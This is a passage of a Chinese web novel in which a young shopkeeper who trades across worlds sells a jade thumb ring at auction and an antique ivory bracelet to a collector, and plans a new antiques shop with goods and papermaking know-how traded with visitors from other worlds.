“傅老教授书香世家，祖祖辈辈教书育人，三个儿子也都从事考古鉴宝相关工作。” 萧妧妧听了一耳朵，想到了另一位傅教授。 “别看傅教授六十多了，现在还在A大教书呢，你要是真想卖，傅教授是个不错的选择，你们私下里悄悄的，别宣扬。” 许年华压低声音，说到后面甚至不清不楚。 萧妧妧听懂了他的意思，真心感谢，“谢谢你啊许叔，刚刚还看到你帮忙推销玉扳指呢，要是玉扳指真拍出去，我请您吃饭，醉月轩，管饱！” 许年华有一瞬心虚，笑眯眯说：“醉月轩？那我可得好好贿赂拍卖师了。玉扳指不算是我推销，我听说是黎老先生喜欢马乾大师的作品，黎总便多看了几眼，估摸是想买回去送家里人吧。” “黎老先生？” “哦，是黎总的爷爷，上一任黎董，现在的黎董是两位黎总的爸爸。” 萧妧妧点点头，搞清他们的关系了。 “对了，许叔，你知道南市有哪些靠谱的鉴定机构吗？大概是玉石珠宝类的。” 许年华忍不住又看了萧妧妧一眼，“小萧老师看来是有不少好东西呢，下半年咱们公司还有好几期拍卖，小萧老师可得想着我们点。” 萧妧妧笑得腼腆，祈祷许年华别问下去。 许年华果然没再探究，而是说道：“你要鉴定的话，含金量高的就那么几家，南市刚好有，C大珠宝质量监督检验中心，权威机构，圈内认可度很高。” 意外得到有用消息，萧妧妧很高兴，打算在开店之前多送点东西去捞个证书。 说到开店，萧妧妧想着都出来了，不如把事情一起办完。 办理竞牌后，萧妧妧离开雅园，打车去南市玉器市场。 别的不看，也看不懂，她专挑玛瑙玉髓买。 珠串、镯子、坠子，大圈口小圈口，青的白的绿的紫的，凡是看着好看的、精致的，统统买下。 当然不是瞎买，萧妧妧事先联系了方爷爷，听他推荐找到了市场上一家不太起眼的小铺子。 看她是老熟人介绍，老板单独从柜子里拿了货，还给她抹了零头。 一通乱买，萧妧妧花了六万八，带走了两百多件玛瑙玉髓制品。 老板摸着秃脑门，神情有几分空白，不知道该说什么好。 萧妧妧掂了掂沉重的背包，别提多激动了，这些可是能换来真金白银的。 “叶叔，下回我还来你这里买，量大方便送货上门吗？” 叶老板迟钝应声，“送，当然送。” 交换了名片和联系方式，萧妧妧更满意了，以后不用亲自上门进货，真好。 时间还早，只逛一个玉石市场明显不符合萧妧妧的来都来了的生活态度，她又打车跑一趟博物馆。 回到小卖部，萧妧妧几乎累瘫，丢下大包小包，点来一份凉皮应付完咕咕叫的肚子，开始联系人上门搬家。 原先打算在188号独居，卧室的家具十成新，萧妧妧舍不得扔，只能往家里搬。等家具搬空，换上相应的展示柜展示架即可。 卖得是好东西，柜子便不能太敷衍，萧妧妧又开始挑选实木柜台。 一应杂事还没料理清楚，后门吧嗒一声推开。 “妧妧？”苏娇娇进门没看到人，张望两圈，冲着后门喊了一声，“妧妧你在不在店里？” 听到声音时，萧妧妧刚送走搬家的小哥，快步走回小卖部。 “怎么了娇娇姐，你又被人堵住了？” 苏娇娇摇头，“我顺利到了目的地，刚找到地方住下，过来看看你。” 萧妧妧啊了一声，不懂自己有什么好看的，苏娇娇这时推来两个扁扁的礼盒。 “我暂时没遇见合适的字画，不过倒是得了两套古墨，你这里书画受欢迎，想来笔墨纸砚应该同样如此。” 看自己是假，还人情是真。 萧妧妧没想到，自己随口说的话竟让苏娇娇记在心里，且付之行动。 “不不不，我是随口一说，不是跟你要字画的意思，你别放在心上。”她急忙解释。 好一点的字画放在她这年代很值钱，在苏娇娇那个时代同样是值钱东西，不易得，萧妧妧可不好意思让苏娇娇放下正经事为她这点杂事耗费心神。 苏娇娇嘴角噙笑，“你急什么，这是我自愿赠予，你帮了我大忙，我肯定要表示一下。字画的事不难，我已经让管家和掌柜盯着些了，左右不过是费些时日。喏，这两套墨你先收着。” 苏娇娇一股脑把东西塞进她怀里。 萧妧妧……当然是却之不恭，脸都快笑烂了。 她查过，成套且保存完好的古墨还挺值钱，不比几十两黄金的价值差。 可算上墨和那些手串，还是撑不起一间艺术品集合店。 萧妧妧想了想，得和苏娇娇商量下，“走私”点好东西过来撑场子。 “娇娇姐，有件事我想请你帮忙。” 33 第33章 ◎“你就是我的神！”◎ “你要开新店？好啊,我肯定帮你留意。” 听到萧妧妧的计划，苏娇娇一口答应会帮她物色些好东西送来，这对她来说并不难。 世道混乱，云城有点门路的家族都在想办法变卖带不走的资产,换取金银去国外发展。 苏娇娇认识的几位世交家里正在出手家中藏品,她原先是想帮忙收下的,奈何她能动用的钱财有限。 恰好萧妧妧需要,苏娇娇既能帮萧妧妧解决问题，又能为世交解燃眉之急,再好不过了。 萧妧妧见她爽快，于是咬牙递出攒下的10000克金子供她采购,手里留2900克应急。 她得加快速度赚钱了，这么点金子差点不够周转。 苏娇娇没推辞,转而打听哪些老物件受欢迎，哪些东西不那么值钱,她也好重点关注,免得浪费钱。 萧妧妧没白跟着博主学习,转头罗列出一堆杂七杂八的品类。 苏娇娇越听眉头皱得越紧。 什么石雕根雕,紫砂壶瓷瓶子倒算了,怎么军阀纪念币、邮票、碑帖、捧盒也算在里面？ 苏娇娇语重心长，“妧妧，你若是钱不够，我可以先垫付,咱们要开店就得弄点好东西，这些……” 这些,苏娇娇没一个看得上。 不仅看不上,连当搭头都拿不出手。 萧妧妧不知道怎么解释,她自己都搞不懂收藏圈子为什么会喜欢它们。 “你给的金子不少，你若是信我，我来给你安排，你说的那些……”苏娇娇露出一言难尽的神情，“我送你。” 苏娇娇怕她不懂行，越发坚定要帮她好好把关。 再者，她自家库房里有不少东西，与其放在她手上落灰最后不知道落在什么人手里，不如送到萧妧妧手上，算是给它们安排一个好去处，换来的金子、物资刚好拿去支援组织。 思路走通，苏娇娇浑身轻松。 萧妧妧巴不得有人为她出谋划策呢，苏娇娇望族出身，家底丰厚，眼界比一般人高，她能看上的好东西，肯定差不了。 “谢谢娇娇姐，”萧妧妧喜滋滋地递去一根烤肠，“你就是我的神！” 苏娇娇看她俏皮模样哭笑不得，明明她和小卖部才是她的神，为她解决了一桩又一桩难题。 苏娇娇惊叹着填饱肚子，依依不舍地回到自己的世界。 萧妧妧送走客人，撸起袖子为新店做准备。 不止新店，小卖部同样要做出调整。 临近后门的那两排货柜统统腾空，依次挂上她挑来的玛瑙玉髓，旁边的架子则排排放她精心挑选回来的琉璃摆件、餐具、酒具等。 还有她特意从博物馆文创店买回来的宫廷风手持镜，精致又贵气，正适合申明月拿回去倒卖。 这两个货架是针对异世界客人的，因此货品稍显杂乱，什么品类都有，和小卖部格格不入，在整个便利店行业也过于与众不同。 才收拾完小卖部的货架，后院大门咚咚响，她下单的止血药和压缩饼干送上门了。 没忙出个结果，天色已经黑透，萧妧妧看着乱糟糟的院子，伸了个懒腰。 回家，睡觉。 ………… 拍卖会举槌的日子是个工作日，萧妧妧出门的时候路上还在堵着，她熟门熟路的进了雅园，按照指示牌示意找到拍卖厅。 找到对应位置坐下，没多久，萧妧妧注意到大厅侧门打开，五六十个穿着严肃正经的工作人员抱着文件夹陆续进场，而后走到萧妧妧身后的阶梯式座位落座。 萧妧妧还注意到，每人手边都有一个座机。 萧妧妧不怕丢脸，拍拍身边的陌生女人，问：“小姐姐，后面也是来参加拍卖会的吗？” 小姐姐回头看一眼，好脾气的回答：“哦，他们是电话委托，帮别人拍东西的。” 萧妧妧咋舌，原来真正的大人物都喜欢藏在暗处。 正当萧妧妧东张西望观察拍卖厅里的人事物，拍卖师上台。 “上午好，欢迎大家莅临佳博拍卖行107期拍卖玉石专场……” 拍卖正式开始，萧妧妧并腿端坐。 简单介绍一下本期的主题和藏品，灯光一闪，第一件拍品的图像信息出现在屏幕上。 好巧不巧，是萧妧妧多看两眼的碧玺手串。 更巧合的是，那对在碧玺手串前面争执的夫妻俩第一个参与了竞拍。 萧妧妧看热闹似的，眼睁睁看着一件又一件拍品被人拍走或是流拍，前排的新老藏家大多举过一次两次牌子参与其中，后面电话委托是一次都没出声。 看得久了，萧妧妧发现电视剧根本是骗人的，拍卖师温温柔柔语速却极快，时不时挑动藏家加价，除此之外并不刺激。 “接下来是马乾大师雕刻设计的天然满绿翡翠侍女……” 萧妧妧玩腻了手机，撑着下巴昏昏欲睡时，耳尖微动，捕捉到关键词。 没等她反应过来，已经有藏家按捺不住举牌，身后两排电话委托霎时间忙碌起来。 “……66号起拍价是443万，按照咱们现在的预算是没问题的，先生您看……” “对，马乾大师的作品，场上竞争激烈，凭我的经验，咱们的预算还要再加一点……对，您看要不要跟？” 好家伙，原来都在等好东西，66号拍品像鱼饵，丢进水塘惊起无数鱼儿争抢。 萧妧妧打了个哈欠，揉揉眼睛去看前面，嚯，她算是见识了什么是此起彼伏。 竞争确实激烈，拍卖师报号牌的速度赶不上大家出价的速度。 起拍价443万瞬间飙到了582万，并且还在上涨，这一刻，萧妧妧感受到了世界的参差。 老天奶啊，这世界上不会只有她是穷人吧，大几百万就跟不要钱一样。 场上藏家你争我夺，萧妧妧看得起劲，想知道这件翡翠侍女最终能拍出什么价格，又落在谁手里。 正当她兴致勃勃的时候，场面忽然一寂，像按了暂停键，随后窃窃私语在展拍厅炸开。 “点天灯了，有人点天灯。” “没看清，不知道谁干的。” “第一排的，估计是哪个有钱人吧。” 萧妧妧听得一头雾水，跟着大家向第一排张望，然而什么都看不到。 “黎总出手了，是的，您看……好的。” “对，已经确认了，黎总在拍卖现场，他看中了66号，咱们还跟吗？……好的，我明白。” “目前价格是602万，黎总出价，对，是大黎总……” 后排的电话委托刚刚还在争相抬价，忙得嘴皮子起火，现在个个安静如鸡。 “……66号天然满绿翡翠侍女由黎总拍下，恭喜黎总。” 随着拍卖师咚一下敲槌，场上响起稀疏掌声。 “小黎总在佳博挂了个总监的职，听说今天是他第一次参与组织拍卖，我看是黎总在给弟弟撑场面吧？” “真有可能，听说这期请了不少老藏家呢，你看后面电话委托，平时小场面可没这么多人。” “说不准人家是真喜欢*呢，都点天灯了。” 萧妧妧越听越不懂，看到许年华挂着工作证在大厅后面旁观，起身绕过去。 “许叔，他们说的点天灯是什么意思啊？” 许年华躲在角落里计算着什么，萧妧妧冷不防找过来，他一边注意场上一边和萧妧妧搭话。 “点天灯啊，就是场上不管谁叫到什么价，点天灯的人都要以最高出价拍下。” 萧妧妧倒吸一口凉气，“有钱人真会玩……那万一有人不怀好意，故意抬价呢？” 许年华笑呵呵，“你看刚才有人抬价吗？” 萧妧妧老实摇头。 许年华：“黎总开口，其他人多少给点面子，一般来讲，只要不是上赶着得罪人的，没人会在这时候抬杠。” 萧妧妧好奇，“那就是有人犯贱要抬价怎么办？难道也要按最高出价买下？” 许年华嘿了一声：“这问题有意思，首先，犯贱的人出再高的价，上千万上亿，黎总都有实力买下； 其次，没人会想得罪黎家； 最后，叫价可不是让人随便喊两嗓子就行的，拍卖行会验资，要交保证金的，不然那不是捣乱吗。” 萧妧妧听得一愣一愣的，不愧是小说世界，这群霸总可真有钱。 “第69号拍品，疑似马乾大师早期作品，和田玉青白玉扳指……” “小萧老师，到你的拍品了。”许年华见她走神，提醒一声。 萧妧妧抬头确认一眼，随即紧张地巡视整个大厅。 她从来没觉得拍卖师的介绍如此漫长，好不容易报到起拍价时，萧妧妧不由屏息。 许年华注意到萧妧妧紧张又期待的样子，暗笑她年纪轻，摇摇头。 “……现在是八万，24号藏家要不要再加？国级青白玉，雕工非常好。” “八万三，43号藏家出价八万三……61号藏家看起来很喜欢这件玉扳指……” “好的，61号藏家出价九万，还有人要跟吗？马乾大师的作品非常难得……” 萧妧妧的心怦怦跳，恨不得坐在藏家身边提溜他们站起来竞价。 好在马乾两个字有着无限魅力，短短几分钟，已经有七八个人出价，价格也抬到了萧妧妧从未想过的高度。 “十三万两次……电话还要跟吗？目前是十三万。” “……好的，黎总出价十四万，还有要出价的吗？” ………… “看到没有，黎总出价了，哎呦，十四万，翻倍了这是。” 许年华比萧妧妧还要高兴，黎行聿唯二出手的两件拍品都是他征集回来的，看以后谁再说他不会选品。 萧妧妧这才发现，第一排中间位置坐着的是黎行聿，两边是随行的拍卖行高管。 “好的，23号藏家出价十四万五千……1号黎总再次出价，十五万！柳太太要跟吗？” “十五万一次……33号孟先生要不要跟一跟？十五万第二次喽……没有人要出价了吗？” “那么……十五万第三次！69号拍品属于黎总，恭喜黎总。” 拍卖师敲槌，尘埃落定，下一件拍品迅速上场。 听到最终价格，萧妧妧既惊喜又失落，吐出一口浊气，擦掉手心里的汗渍。 起拍价七万，落槌价十五万，方爷爷说得没错，拍卖行是个好去处。 “许叔，醉月轩，随便点！”萧妧妧大气挥手。 34 第34章 ◎买椟送珠◎ 玉扳指成功卖出,下半场拍卖会没必要再参加，萧妧妧和许年华知会一声，办理好退保证金手续，径直回小卖部。 隔壁的刘叔见怪不怪,问一句：“妧妧这么晚才来啊。” 萧妧妧笑着应付,“家里有点事。” 临近中午,不倒闭小卖部开门营业。 挂上自助付款的提示牌,萧妧妧继续为她的新店忙活。 后院门口堆满了快递，蛇皮袋装得鼓囊囊,件件半人高，所幸188号是这条死胡同里唯一的院子,门口即使堆满了也不会引起邻居不满。 “小姑娘，请问这里是188号吗？” 萧妧妧忙着搬快递,累得一头汗时，忽然听到有人过来搭话。 188号在月牙巷主街右侧的小胡同,拐进来走上三四米就是院子的正大门,这里院墙古朴,爬满了黄木香,除了快递小哥就数进来拍照的游客最多。 冷不丁听到有人找188号,萧妧妧满心纳闷，等侧过身看门口的两人，一下子想起来。 “是你啊傅教授，您这会过来是……” 不怪萧妧妧一头雾水,他们约好的时间在下周，傅教授来得太早了,她的店铺都没布置好呢。 傅教授愣了愣,上下打量一番才确认,面前穿着色彩鲜艳的卡通T恤，扎着蓬松丸子头，脚踩胖乎乎洞洞鞋的小姑娘，是昨天遇见的牙雕手串主人。 两模两样的打扮让傅教授愣了好一会，随即扬起温和笑容迈进院子。 “是我唐突了，昨天回去后一直睡不着，心心念念牙雕手串，这不，我小儿子有空，陪着我一起过来看看。” 萧妧妧闻言把目光落在旁边的年轻人身上，三十岁左右，金丝框眼镜架在高挺鼻梁上，普通白衬衫一丝不苟的扣到最上面。 南市什么时候成帅哥窝了？ 小傅伸出手，“你好，萧老板。” “叫我小萧就行，”萧妧妧尴尬地擦擦手，回握，而后请他们进院子，端来两杯茶招待客人，“最近在装修，屋子里有点乱，不介意坐院子里吧？” 傅教授笑呵呵，“院子好，你这木绣球长得茂盛，一点太阳晒不到。” 萧妧妧知道他们的目的，也不说废话，取来手串交给他们。 傅教授哎呦哎呦几声，忙上手去接，生怕她把宝贝砸在石桌上。 萧妧妧不由脸红，东西来得太容易，她到现在都没能培养出要妥帖对待它们的意识。 傅教授爱惜地摸两下，递给小儿子看。 “你也是学这行的，你自己看看真不真。”傅教授没好气的对儿子说。 萧妧妧来回观察一会，很快弄清楚，大约是傅教授要花钱买牙雕，家里人怕老人家上当受骗，这才商量着一起上门看看。 东西真的不能再真，萧妧妧一点不虚，大大方方拿出专用手电和放大镜，由着他们欣赏。 小傅接过手串，略看了两眼，神情稍显诧异。 “傅问，你这是什么表情，东西好坏我还看不出吗？”傅教授摇摇头，嘬一口茶，“你看看，是不是和你奶奶留下的那串差不多，我没说假话吧？” 傅问轻笑一声，抬头审视萧妧妧，“手串是萧老板家里传下来的？” 萧妧妧不自觉捏紧拳头，点头承认。 傅问没说什么，手串递回给傅教授。 萧妧妧没忽略他若有所思的表情，心里惴惴，该不会是他看出什么了吧？ 傅教授稀罕地摩挲手串，“萧小姐，手串我是真喜欢，不瞒你说，我老母亲有一条和它很相似的牙雕手串，可惜弄丢了，你若是愿意卖，只管报价格。” 这话一出口，萧妧妧倒是不会了，她还没来得及打听价格，根本报不出来。 “傅教授您稍等，我和家里人商量商量。”萧妧妧犹豫片刻，找了个不算蹩脚的借口逃离。 “应该的，是我们来得不是时候，扰乱了萧小姐的安排，”傅教授闻言好脾气的笑了笑，并不介意她的决定，“你放心，我们在这里等你答复。” 萧妧妧松了一口气，脚步匆匆的拐出胡同，寻了个阴凉地蹲下，找外援询价。 她认识的靠谱外援只有一个人，方爷爷。 萧妧妧先给方爷爷发去牙雕手串的图片，打去电话询问。 “方爷爷救命啊，有件急事，我看中了一款有年份的牙雕手串，您觉得多少钱买下合适……” 萧妧妧抱着手机急得团团转，院子里，傅教授患得患失，背着手来回踱步，焦急等待。 “唉，也不知道人家愿不愿意卖。” “这件比咱们以前遇到的几串都要好，你看到了吧？没人骗我，我什么时候看走眼过？ “你说我带的钱是不是少了点？” 傅问冷冷淡淡回应：“放心吧，她会卖给你的，至于钱够不够，我不知道。” 傅教授趁这会没外人，翻了个白眼，“我就该带老大来……萧小姐考虑好了？怎么说？” 父子俩正说着话，萧妧妧回来了，傅教授连忙整理表情，上前两步追问。 萧妧妧神情淡定，老神在在，“傅教授您坐，您知道的，牙雕没有买卖的说法，咱们得遵纪守法。” 满腔期待落空，傅教授显而易见的失落，眼眸失去亮光。 萧妧妧笑了笑，递去红木捧匣，调转话锋，“您看这样行不行，您若是愿意花六十九万买下这件红木匣子，手串就当是搭头，白送您了。” 交易的是红木匣，关牙雕什么事？没说买椟不能送珠的。 萧妧妧一句话分两段说，傅教授跟着大喘气，等他看到红木匣里躺着牙雕手串，嘴巴咧到后脑勺。 “六十九万真不贵，萧小姐当真愿意卖？” 预估要七八十万拿下的手串，报价六十九万已经低于他预期了，傅教授颇感意外，意外小丫头做生意干脆利落，不打太极，直接报价。 他捧来红木匣放一边，没多看一眼，只迫不及待的将手串套在自己手腕比划，越看越喜欢。 萧妧妧眨巴眼睛，神色无比诚恳：“当然，您是有元人。” 傅教授抬起手腕，好好欣赏了一会，急忙从衬衫口袋掏银行卡。 傅问按住他的手，“萧老板这里恐怕不方便刷卡，我来转账吧。” 六十九万片刻工夫到账，萧妧妧看到私人账户的余额，还有一丝不真实的恍惚感。 交易完毕，傅教授心满意足，有闲心关注这间小院。 “小萧，你这里是要开艺术品集合店吗？什么时候开业，我也来凑凑热闹。” 萧妧妧笑容越发灿烂，她等得就是这句话。 方爷爷给出的参考价是七十往上，不超过七十六这个范围可以随便报，她沉吟片刻，最终决定打折。 算上红木匣子总共不超过七十万，懂行的人一听价格便知道自己占了便宜。 许年华提醒过她，像傅教授这样的老藏家有自己的小圈子，笼络住一个，等于笼络住半个小圈子，萧妧妧宁肯少赚几万，为的自然是吸引顾客下次上门。 一带二，二带三，以后她的艺术品集合店全靠这些收藏家支撑了。 萧妧妧脆生生道：“下周一正式营业，店铺小，只招待熟客，傅教授哪天想来看看提前说，我多摆点好东西。” 以为要砸在手里的东西意外高价卖出，萧妧妧心里喜滋滋，送走傅教授父子俩，她没能忍住，抱着手机傻笑。 谁敢想啊，她的现金存款竟然将近两百万了。 “萧老板萧老板，我打听到了。” 申明月风风火火闯进小卖部后院，眉梢飞扬，语气雀跃。 “怎么说？定好要选哪些货了？”萧妧妧收起手机。 申明月接过萧妧妧递来的茶水，一口闷，抹了抹嘴唇，说：“琉璃，我打听清楚了，天哪，它竟然比金银还贵。” 比金银贵……萧妧妧扼腕不已，早知道趁前些天旗舰店做活动多囤些货了。 “大宇朝的琉璃多是外邦进贡，数量稀少，寻常人家很难得到，所以价格居高不下。 我听胡商说，升州豪绅众多，琉璃可卖出高价，若是去了偏远小国，国力不足，多半卖不出手。” 申明月很用心套话，连最佳贩卖地点都打听到了。 也是她们运气好，无需跋山涉水走商，升州便有不少豪富愿意高价买琉璃。 萧妧妧闻言，转身拿来两串琉璃手串，玉髓玛瑙手镯各一对。 “物以稀为贵，你拿太多东西过去反而不好出手，”萧妧妧凑到她耳边，给她出主意，“这事你可以试试这么做……” 申明月听了片刻，眼眸晶亮，“我听萧老板的，谁挤兑我，我就让谁破财。” 高兴了一会，申明月笑容微敛，话音扭捏，“萧老板，那个西多芬我该怎么出手啊？” 萧妧妧噗呲一声，暗示她，“这东西不能由你出面。” 申明月还是个小姑娘，放在古代严苛环境下于她名声有损。 申明月想了想，一拍巴掌，脱口而出，“我懂了，就说是大宇朝最最神奇的宫廷秘药，所以老皇帝子嗣繁盛。这事需让母亲出面，从内宅下手更容易些。” 母亲假死逃出宫后，一直以富商遗孀的身份在升州活动，人人都当她们是上门打秋风的破落户，好在母亲这段时日为了打听消息混在内宅，倒是积累了不少好人缘。 商人遗孀，做点小生意多合理啊。 借口是大宇朝宫廷秘药，几位知晓内情的舅母必定轻易相信，再由申氏后宅扩散至其他世家，难度应当比她们派人上门兜售的效果好。 萧妧妧听她叽里咕噜讲了一通，想笑不敢笑，怀疑申明月趁机抹黑渣爹。 申明月没注意到萧妧妧扭曲的表情，脑瓜子飞速转动。 想明白后，她嘿的一声笑，满意地掏出荷包递给萧妧妧。 35 第35章 ◎一个配方赚两次钱◎ “萧老板,这是部分货款，劳烦你算算还差多少。” 萧妧妧接过荷包抽开系绳一看，散碎金子大约七八十粒，掂量感受几下,约莫有两百多两,也就是6000多克。 到手的金子萧妧妧真狠不下心拒绝,尤其她刚送出去一万克金子,正缺金子使。 “好，这两百两我先收下,”萧妧妧看她一脸痛心的样子，宽慰她,“放心，这里随便几样东西卖出去,很快能回本。” 申明月重重点头，她当然是相信萧妧妧的,否则也不敢拿出这么多钱投注。 萧妧妧这几日忙个不停,闲暇时刻几乎抱着手机下单,所以货品齐全,现在只需要挑拣出符合要求的东西,拆掉包装打包起来即可。 申明月帮不上忙，留在小卖部里乐滋滋地吃西瓜吹空调，等待时，她注意到一旁孤独播放的平板。 “萧老板,它说得是真的吗？” 萧妧妧茫然抬头，“谁？谁说话了？” 申明月一手捧瓜啃得咔嚓咔嚓响,一手指了指柜台上的平板。 萧妧妧丢下手里东西走进来,平板还停留在某短视频软件,循环播放“悬赏令”。 【行走的十万元！文字博物馆悬赏发布，破译甲骨文，一字可获十万奖励。】 萧妧妧看了看视频，又看了看申明月眨巴的丹凤眼，虽然不明所以，但还是如实回答，“据我所知是真的。” 申明月没心思啃西瓜了，唰一下瞪大眼睛，“萧老板，你们这里的十万大概是多少钱？” 萧妧妧歪头心算片刻，不确定的说：“大概，等同于你们那里的五、六两金子？” 申明月噌一下站起，双眼放光，“萧老板，我认识上面的字。” 萧妧妧暗道一声果然如此，申明月不是无的放矢的人，既然问了必然有情况。 转念一想，申明月一个古代人认识几个甲骨文，逻辑完全走得通。 再转念一想，毕竟是两个位面，度量都不一样，难道文字就能相通？ 萧妧妧看她双拳紧握，不好泼冷水，“你等等，我去官网查查。” 短视频发布日期距今过去半个月，不能确定悬赏令有没有效用。 申明月蹲在她旁边，有一搭没一搭地啃瓜，看萧妧妧手指飞舞，在一块会动会说话的板子上来回戳弄。 没等她仔细看上面会动的彩色图案，萧妧妧停在某一画面仔细阅读。 “明天刚好是截止日期，”萧妧妧调出悬赏文件，飞快获取重要信息，“简单的早让人破了，剩下这些是专家学者们解决不了的，你确定都认识吗？” 她调出文件附带的甲骨文图形，一共是68个，一张一张缓慢切换。 申明月看得目不转睛，格外认真，一个字五、六两金，和白送没区别。 68张图片很快划过去，申明月掰着指头算了算，胸有成竹的说：“有13个字我认识，我在族中藏书阁里看到过，有两个字我拿不准。” “如果全对，那就是13个字，等于是一百三十万，错的话，那就什么都没有。” 萧妧妧还是不太信，一是因为两个位面的鸿沟，引申出来的疑问太多，一时半会和她解释不清楚，二是因为破译甲骨文投稿需要写论文辩证，有字数要求还要列出参考书籍，难度不是一般的大。 她看了看申明月，很确定她不会写论文。 种种因素叠加，萧妧妧理所当然的认为，破解甲骨文获得悬赏金的希望不大。 申明月看出萧妧妧的质疑，昂首挺胸，信心满满，“萧老板放心，我有把握。” 萧妧妧看她一本正经，不像是胡说，心底越发惊疑，她还真认识啊？ 沉思片刻，萧妧妧决定让她试试，万一成了那可是一百三十万，不成就算了，反正不过是几个字的工夫。 她跑回小卖部拿出纸笔递上去，为了方便书写，特意找来毛笔和宣纸。 申明月新奇不已，“好柔韧的纸。” 赞叹声让萧妧妧微微一怔，随即回过神。 对哦，她怎么没想过把造纸技术卖出去呢？ 再举一反三，不止是造纸，印刷、织布都是可以交易的技术。 申明月这里卖一次，龙傲天那里再卖一次，一个配方赚两次钱，谁能有她精明啊！ “试试看，如果觉得不错，造纸技术我也可以卖给你。可别小看这技术，从原材料挑选到整个生产步骤，全部罗列清楚，物超所值，买不了吃亏买不了上当。” 申明月惊讶的大张嘴巴，不敢相信耳朵听到的一切，“造纸技术？卖给我？” 萧妧妧笑眯眯点头，语速飞快，“我知道你现在没钱，等纸造出来了卖出去了，你再把钱还给我不迟，或者我技术入股，你回去召集人手生产纸张，盈利分我四成。” 面对诱人提议，申明月却显得犹豫不决，“可是纸很贵，除了读书人以外，未必有那么多人购买，生产得再多卖不出去岂不是砸在手里。” “傻孩子，新技术降低了成本，提高了产能，优化了产品，生产量增多，越来越多的人有机会读书，会造成什么样的影响你不会不懂。” 萧妧妧说得如此直白，申明月瞬间被她点醒，她望着手中洁白宣纸，愣愣出神。 萧妧妧似乎嫌她三观还不够颠覆，抽来一张纸巾塞过去，“我忘了说，造纸技术也包含卫生纸。” 申明月脑海中有风暴席卷而过，好半天才反应过来，仰头问：“卫生纸是做什么用的？” “当厕筹，当手帕，当抹布，总之用途很多，最常用的就是……”萧妧妧又抽出一张纸巾，擦掉申明月嘴角的西瓜汁，“什么感觉？” 申明月先是脸红，继而发觉卫生纸的妙处，不自觉地吞了吞口水。 “好、好柔软啊……如果当厕筹用的话……” 不管穷人富人，只要不是长了铁腚，都无法拒绝卫生纸。 卫生纸这门生意，有得赚！ “这事急不来，且关系重大，别冲动，回去好好想想再给我答复，”萧妧妧按住她肩膀，迫使她坐下，“先写字。” 申明月回神，脆生生应声。 萧老板说得对，卫生纸宣纸西多芬和琉璃，它们都是难得的宝贝，手上有这么多宝贝的她却没有发展出守护的力量，时日久了，宝贝就变成了催命符。 申明月紧捏宣纸，暗暗发誓，努力赚钱，努力积蓄力量！ 发过誓，申明月提笔写字。 萧妧妧守在旁边，每写完一张纸，她便接过来扫描，手机操作编辑成邮件，等着最后一起发送。 看到附件里一堆照片，粗糙、简陋，萧妧妧完全不抱希望。 别人破译无不是引经据典，详细解释破译思路和文字演变，参考资料能写满一页纸，她们倒好，不写解题步骤，直接给答案。 文字博物馆不认是完全可以理解的，认了才是见鬼了。 申明月一口气写完，萧妧妧也差不多整理完毕，以防万一，她顺口问：“要是别人问我怎么破译的，我该如何解释？” 老学究爱刨根问底，看不到论文那多半会找来问询，回头她一个字说不出来，那就一点希望都没了。 申明月一看这么多字，一个个解释要说好久呢，道：“等会回去我把书找给你，那是我自己抄录的，字迹潦草，萧老板别嫌弃。” 萧妧妧哪敢嫌弃她，申明月这一手字不知道练了多少年，一笔一划皆有锋芒，大气又潇洒。 申明月还是第一回听到别人说她字好看，族中姐妹嫌弃她学得不是簪花小楷，一手字比男人的还要霸气，直言她桀骜难驯。 申明月傻笑一会，扭扭捏捏问：“萧老板，我可以多买些宣纸回去吗？” 笔墨费钱，她现在全靠变卖大宇朝的赔款筹集金银，实在不富裕。 既然萧老板这里纸笔便宜，她便动了心思，多买点回去自己用。 萧妧妧还指望她扩大势力带着自己赚大钱呢，很舍得投资。 “什么买不买的，我送你。” 货架上一共四包宣纸，萧妧妧全部送给她，不止宣纸，卫生纸也给她塞了好几包，大号购物袋装到溢出来为止。 申明月连连推拒，架不过萧妧妧热情，最后红着脸收下东西。 “先把东西送回去吧，我这还有不少呢，一趟拿不下。”萧妧妧见她傻站着，催她回去。 申明月哎了一声，快乐地蹦跶着离开，束起的发尾一甩一甩。 萧妧妧注意到，申明月穿得不伦不类，继而一拍脑门。 对了，她买的水晶丝缎到货了，正好可以一起拿回去。 萧妧妧好不容易在一堆快递里找到属于水晶丝缎的包裹，拆开包装，抖开布料。 “哇！”*2 惊叹声不止来自萧妧妧，还有折返回来的申明月。 萧妧妧不是第一次见水晶丝缎，但每次都要为它的美貌而心醉。 怎么能有布料好看成这样！ 申明月愣愣走过来，不出意外的满目惊艳，“像、真像，和阿言姐姐身上那件浮光锦披帛不相上下。” 甚至更胜一筹。 她情不自禁上手去摸，好像探进轻柔水波里，手指轻戳，布料下陷，指尖周围出现柔和光泽。 萧妧妧捧着布料走到阳光下，亮闪闪，唯一的缺点是显黑。 “萧老板，浮光锦我可以带走吗？” “当然，这也算在第一批货里。” 申明月振奋握拳：“那我要好多好多浮光锦。” 要不说浮光锦珍稀，这东西便是在深宫内院都难得一见，寻常世家大族更是没机会接触，大家只听说过浮光锦的美名。 至今，浮光锦已经是彰显身份地位与荣宠的符号。 意外得了一件浮光锦小衫的表姐别提多招摇了，恨不得日日穿着出门参加诗会。 萧妧妧多问一句，“既然这么稀有，你们那卖多少钱？” 申明月摇摇头，如实回答，“我不知道，商队没有买卖过，但我那里一直有这么个说法——浮光锦寸锦寸金。” 若是想买下整块布料，一寸锦可不止一寸金，要加价的。 申明月拿水晶丝缎比划了一寸长度，萧妧妧拿来尺子一量，啧了一声。 她那里的一寸是萧妧妧这里的5厘米不到，手上这块布料是买来当样品的，所以不大，幅宽半米，长半米，相当于申明月那里的十寸左右。 也就是说，在寸锦寸金的说法属实的前提下，她手上这匹十五元人民币买来的高级水晶丝缎，实际能换来十寸黄金。 大宇朝一寸长的黄金比她小指头还要小一截，厚度也稍薄一些，细细长长一小条，单说重量，约有20克，十寸那便是200克…… 十二万六！ 【作者有话说】 提示：一寸5厘米尺度不符合任何主要朝代的官方制度（非官方不算），文中为防止大家套时代背景（主要是为了方便做计算）、考虑现代机器生产效率、生产成本、溢价（窄幅宽属于定制，价格高），尺度上面做了虚构处理。 PS：后文会写到定制布匹相关内容，防止大家看到这里有疑问，补充备注 36 第36章 ◎“你婶婶找你。”◎ 手里捧着十二万六,萧妧妧可不敢粗心，找来一块碎花布包起来，珍而重之地交给申明月。 申明月没比萧妧妧好到哪里去，擦擦手,强忍激动接过布包。 “我抱着的真的是浮光锦吗？好像做梦一样。” 